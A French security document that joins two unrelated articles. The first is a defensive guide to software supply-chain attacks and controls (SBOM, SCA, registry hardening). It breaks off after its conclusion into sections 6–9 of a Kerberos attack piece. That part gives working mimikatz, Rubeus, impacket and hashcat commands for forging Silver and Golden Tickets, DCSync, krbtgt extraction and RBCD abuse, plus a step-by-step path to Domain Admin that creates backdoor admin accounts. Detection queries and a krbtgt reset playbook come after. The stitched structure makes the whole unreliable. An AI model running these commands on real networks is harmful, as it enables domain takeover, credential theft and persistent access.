Supply-chain applicative (typosquatting, dependency confusion)

Résumé exécutif

Les attaques de supply-chain applicative ciblent la chaîne de développement en exploitant les dépendances logicielles : packages open source, modules internes, registres privés. Des campagnes de typosquatting, dependency confusion et de compromission de registres ont démontré la vulnérabilité des pipelines CI/CD et des applications en production. Cet article dissèque ces menaces, propose des stratégies pour bâtir une Software Bill of Materials (SBOM), verrouiller les registres et intégrer des analyses SCA (Software Composition Analysis) dans les pipelines. L'objectif est de fournir une approche opérationnelle et outillée afin de détecter, prévenir et répondre aux risques supply-chain tout au long du cycle de vie du logiciel.

Panorama des menaces supply-chain

1. Typosquatting : publication de packages aux noms similaires (requests vs requestss) sur des registres publics (npm, PyPI, RubyGems). 2. Dependency confusion (ou namespace confusion) : exploitation des résolutions de dépendances (packages internes vs externes) via publication de versions plus élevées sur des registres publics. 3. Compromission de packages : injection de backdoors dans des packages maintenus (ex : event-stream, ua-parser-js). 4. Malicious maintainer takeover : prise de contrôle d’un package par un mainteneur (ou compte compromis). 5. Registres compromis : accès non autorisé à un registry interne (Docker, Artifactory) pour remplacer des artefacts.

Typosquatting : anatomie

Les attaquants publient un package avec un nom proche d’un package populaire. Ils incluent du code malveillant (exfiltration secrets, trojan). Lorsqu’un développeur installera le package par erreur (typo, autocompletion), le code s’exécute. Les environnements CI/CD automatisent les npm install, pip install, augmentant l’impact. Les attaques :

• ctx (npm) -> vol de variables d’environnement.
• colourama (PyPI) -> télécharge un payload.
• phpass (Packagist) -> backdoor.

Détection : scanning des dépendances, surveillance TI, alertes registry.

Dependency confusion

Le concept : les systèmes de build résolvent les dépendances en interrogeant d’abord les registres publics. Si un package interne (@company/lib) n’existe pas public, publier une version publique (major version) trompe la résolution. Le package malveillant s’installe, accède aux secrets du build. Alex Birsan a popularisé la technique. Les environnements vulnérables : npm, PyPI, NuGet, RubyGems. Conditions : configuration du registry, scoped packages, absence de restrictions (always-auth).

Mitigation :

• Configurer le registry (npmrc) pour pointer vers un registre privé avec registry=https://npm.company.com.
• Ajouter @company:registry=https://npm.company.com.
• Bloquer les installations de packages non approuvés (npm npmconfigscope).
• Utiliser pip --index-url et --extra-index-url en contrôlant la priorité.

Compromission de packages légitimes

Les mainteneurs peuvent être compromis (phishing, takeover) ou agir malicieusement :

• ua-parser-js (npm) : compromission via compte mainteneur -> cryptominer.
• event-stream : mainteneur a cédé le package, backdoor injectée.
• npm colors : sabotage par mainteneur.

Mitigation : instrumentation TI, pinned versions, scanning comportemental. Les mainteneurs majoritaires doivent avoir MFA (npm, PyPI). Les organisations doivent surveiller les versions, les scripts postinstall.

Registres compromis et artefacts

Les registries (Docker, Artifactory) contiennent les images, packages internes :

• Credentials volés -> push malveillant.
• ACL laxistes -> modification.
• Manque d’audit -> infiltration invisible.

Les attaques supply chain se traduisent par des images modifiées (cryptominer, backdoor). Les défenses :

• Authentification forte (MFA, SSO).
• RBAC strict, principle of least privilege.
• Audit trail (push/pull).
• Signature (Cosign, Notary) des images.

SBOM : fondations

La SBOM (Software Bill of Materials) est un inventaire des composants (packages, versions, licences) d’une application. Normes :

• SPDX (Software Package Data Exchange).
• CycloneDX.

Générer une SBOM :

• Outils SCA (Snyk, Anchore, Trivy, Syft) pendant le build.
• Intégrer dans pipeline (GitHub Actions, GitLab CI).
• Stocker SBOM (artifacts, registry).

La SBOM permet :

• Visibilité (quelles dépendances, versions).
• Réponse rapide (vulnérabilité critique -> identification des applis impactées).
• Conformité (Executive Order US, directives UE NIS2).

Verrouillage des registres (registry hardening)

• Registry firewall : limiter les sources IP, imposer TLS mutualisé.
• Policies : immutable tags, interdiction de latest non signés.
• Scanning : vulnérabilité, malwares (Harbor, ECR scan).
• Auditing : logs push, pull, delete.
• Backup : snapshots regular (éviter pollution).

Les registries on-prem (Artifactory) : appliquer des patchs, habilitations, segmentation réseau. Les architectures zero trust isolent le registry dans un segment restreint.

SCA (Software Composition Analysis) en pipeline

Les outils SCA identifient les vulnérabilités, licences, packages malveillants :

• Snyk, Sonatype Nexus IQ, GitHub Dependabot, GitLab Dependency Scanning, OWASP Dependency-Check.

Intégration :

• Jobs CI exécutant SCA sur chaque commit.
• Faille critique -> échec pipeline.
• Rapports (JSON, SARIF) pour tri.

Les SCA identifient les versions malicieuses (CVE). Les organisations ajoutent des règles (policy) : fail si CVSS > 7.0. Les dashboards (Snyk) priorisent.

Gestion des packages internes

• Private registries (npm Enterprise, GitLab Package, Azure Artifacts).
• Namespace (scopes @company).
• npm access restricted.

Automatisation : pipeline publie packages signés, versions semver. Documentation d’utilisation. On interdit l’installation de packages internes depuis public (policy). Les build configs (npmrc, pip.conf) sont gérés via configuration management (Ansible).

Détection typosquatting et TI

• Outils (GuardDog, Datadog Wolfi, Sonatype) détectent packages suspects.
• TI (GitHub Advisory Database, Sonatype OSS Index) alerte sur packages malveillants.

Les organisations surveillent les publications : subscribe aux RSS registry. Scripts comparent les noms (distance Levenshtein) avec packages internes -> alerte.

Pipeline de sécurité supply chain

1. Pull : developer souhaite une dépendance. 2. Review : check security (TI, signature, mainteneur). 3. Approval : security champion valide. 4. Catalog : package ajouté à la liste approuvée. 5. Monitoring : SCA continue.

Les workflows (ServiceNow) assurent traçabilité. Les packages non approuvés -> pipeline fail.

Signatures, attestations et provenance

• Cosign signe les artefacts et SBOMs.
• in-toto et SLSA attestation (prouve pipeline).

Les pipelines génèrent attestation (cosign attest --predicate sbom.json). Les déploiements vérifient (policy OPA). Sans signature valide -> blocage. Les clés stockées dans KMS, rotation.

Observabilité et alerting

Les logs :

• npm/pip : use --loglevel http.
• Artifactory/Azure Artifacts : audit logs (REST API).

SIEM :

RegistryLogs
| where Action == "push" and User !in (allowed)

Alertes sur delete inattendus, force push. Surveiller les pip install vers un index externe.

Cas d'incidents

Dependency confusion Microsoft (2021)

Des packages internes @azure synchronisés ; Birsan publie versions externes -> installation lors de build, exfil vraies. Microsoft a corrigé en configurant Scoped registries, Artifact registries.

SolarWinds Orion

Backdoor insérée dans build pipeline, signée, distribuée. Importance : isolation du build, code review, monitoring. Utilisation de build signing et check.

PyTorch-nightly (2022)

Package nightly PyPI compromis, exfiltration de creds. Mitigation : isoler environnements (nightly vs stable), scanning.

Gestion des licences et conformité

Les SBOM incluent les licences. Les outils SCA identifient (GPL, MIT). Les policies (legal) interdisent certain licences. Les pipelines échouent si violation. Les rapports alimentent compliance (SOX).

Monitoring runtime

Même avec SCA, un package peut contenir du code malveillant. On surveille en runtime :

• EDR/Runtime (Falco, Sysdig) -> identify network connections (ex : npm install contact C2).
• RASP pour instrumentation.

Les logs (app) repèrent des comportements (ex : arborescence d'accès).

Policy as code : OPA, Sentinel

Les politiques contrôlent :

• Pas de npm install sans package-lock.
• pip install uniquement depuis allowlist.

OPA Gatekeeper (Kubernetes) -> Interdire déploiements sans attestation. Terraform Sentinel -> infrastructure. Les pipelines pre-commit appliquent (Conftest).

Inventory et asset management

• Cataloguer dépendances dans CMDB (ServiceNow).
• Liens applicatifs -> packages -> versions.

Les incidents (Log4Shell) : la CMDB identifie les apps. Les champs (owner, criticité). On automatise via SBOM import.

Response to incidents

1. Identifier packages malveillants (TI, SCA). 2. Search (repos, registries). 3. Remédiation (supprimer, patch). 4. Rebuild, redeploy. 5. Communiquer (clients, regulators).

Le playbook inclut git grep pour references, alertes Slack. Les pipelines CG (Canary) test.

Roadmap de maturité

1. Phase 1 : SCA basique, SBOM générée, policies registry. 2. Phase 2 : Signatures, attestation, TI intégrée, allowlist packages. 3. Phase 3 : SLSA L3, OPA policies, runtime monitoring. 4. Phase 4 : ML detection, full pipeline isolate, zero trust supply chain.

Chaque phase : jalons (ex : 100% SBOM).

Tableaux de bord

Dashboards (Grafana, Power BI) :

• Nombre packages par repo.
• Vulnérabilités critiques ouvertes.
• % dependencies approuvées.
• Temps de remédiation (MTTR).

Collaboration DevSecOps

• Security champions dans chaque squad.
• Revues architecture supply chain, Threat modeling.
• Formations sur dependency management.

Les ateliers (brown bag) sur typosquatting. Les guides (wiki) listent process.

Intégration avec Dev Portal

Les devs utilisent un portail (Backstage) listant packages approuvés, SBOM, instructions. Les API fournissent l’état (SLO).

TI automatisée

• Intégration MISP, Sonatype.
• Alertes Slack quand un package est flagged.

Les pipelines cross-check TI avant merge. Les updates (Dependabot) sont accompagnées d’un score risk.

Gestion des artefacts tiers (binary provenance)

• Les binaires (ex : libs C++) -> signature, hash.
• Stocker dans repo secure.
• Scanner (ClamAV).

Les pipelines comparent hash (Chain of Custody).

Conclusion

La protection de la supply-chain applicative exige une combinaison de visibilité (SBOM), de contrôle (registry locking), d'analyse (SCA) et de gouvernance (policies). Les attaques par typosquatting et dependency confusion exploitent la confiance dans les écosystèmes open source ; seule une défense en profondeur, intégrée aux pipelines CI/CD, permet de maintenir la sécurité tout au long du cycle de développement logiciel.

Écosystèmes et particularités

npm (JavaScript)

• Fichiers package.json, package-lock.json (ou yarn.lock).
• Scripts preinstall, postinstall, prepare pouvant exécuter du code.
• npm install résout en fonction du registry et des scopes.

Bonnes pratiques :

• Fixer engine-strict et package-lock commit.
• Désactiver les scripts automatiques (npm install --ignore-scripts lors de l’analyse).
• Utiliser npm audit et npm audit signatures.
• Configurer npm config set always-auth=true pour authentification.

PyPI (Python)

• Fichiers requirements.txt, Pipfile.lock, setup.py.
• Scripts setup.py peuvent exécuter du code lors du build.

Bonnes pratiques :

• Utiliser pip install --require-hashes pour vérifier les hash.
• pip-audit, pipenv check.
• Configurer pip.conf avec index interne et trusted-host.

Maven (Java)

• Dépendances dans pom.xml, résolution via settings.xml.
• Risque de repository mirrorOf= redirigeant vers un site malveillant.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image
spec:
  rules:
  - name: check-signature
    match:
      resources:
        kinds: [Pod]
    verifyImages:
    - image: "registry.company.com/"
      key: "cosign.pub"

Les déploiements non conformes échouent. Les logs Kyverno sont suivis.

Documentation et runbooks

Les runbooks détaillent :

• Comment générer SBOM.
• Process pour approuver package.
• Réponse incident supply chain (contacts).

Les runbooks sont versionnés (Git). L’accès facile via wiki.

Prod vs R&D

Les environnements R&D peuvent tolérer plus de flexibilité. Cependant :

• Label packages experimental.
• Interdiction de déployer en prod sans validation.

Les R&D pipeline isolés. Les packages test sont blocklist pour prod.

Sécurité des templates pipeline

Les templates (.gitlab-ci.yml partagés) doivent être sécurisés. Includes pointent vers commit hash. Les modifications sont revues. Les pipelines utilisent policy-as-code (Sentinel).

Collaboration avec les fournisseurs

Les logiciels tiers (SaaS) doivent fournir SBOM. Les contrats incluent supply chain security. On évalue leur pipeline (questionnaires SIG Lite). Les fournisseurs critiques undergo audits.

Architecture Zero Trust supply chain

• Build isolé.
• Authentification forte pour accès registry.
• Verification signatures à chaque étape.
• Monitoring continu.

Les pipelines ne font confiance à aucun package non attesté. Les jobs sans credentials par défaut (JIT).

Innovations et tendances

• Reproducible builds (determinisme) -> compare outputs.
• Secure enclaves (Confidential CI).
• AI pour detection packages malveillants (analysis pattern).
• OSS Scorecard automatisé dans pipeline.

Les équipes explorent ces innovations lors de PoC.

Cas d’étude : organisation financière

Une banque a instauré :

• Registry interne (Artifactory) isolé.
• SCA (Snyk) sur pipelines Jenkins.
• SBOM central via Syft/Anchore.
• Policy OPA (images signées).
• TI monitoring (Sonatype).

Lors de la vuln Log4Shell, l’identification a pris 2 heures, patch 48h. Le KPI a montré amélioration vs incidents précédents.

Cas d’étude : entreprise SaaS

• GitHub Actions + OIDC -> AWS.
• SLSA L3, attestation.
• Release gating : require attestation, tests security.
• SBOM communiqué aux clients.

Un typosquatting lodashs a été détecté via SCA. Les pipelines ont échoué, évitant propagation.

Stratégie d’open source management

• OSPO gère contributions, licences, backlog security.
• Dependency update days.

L’OSPO collabore avec SecOps pour prioriser patchs. Les devs reçoivent du temps (20%) pour maintenance.

Assurance et responsabilité

Les assureurs cyber évaluent supply chain security. Les questions : SBOM, SCA, policies. Les entreprises dotées de contrôles robustes obtiennent de meilleures primes.

Rapports vers le conseil d'administration

Trimestriels :

• Synthèse incidents supply chain.
• Progression roadmap.
• Risques résiduels.

Les slides mettent en avant actions (SBOM, SLSA).

Conclusion étendue

La sécurité supply-chain applicative est un chantier continu, impliquant une collaboration étroite entre développeurs, sécurité, opérations et dirigeants. Les menaces (typosquatting, dependency confusion) profitent de la complexité et de la confiance implicite dans les écosystèmes open source. En déployant des contrôles techniques (SCA, SBOM, signatures), des politiques (allowlists, OPA), une gouvernance rigoureuse et une surveillance proactive, les organisations bâtissent une chaîne logicielle résiliente, capable de détecter et d’absorber les attaques émergentes.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled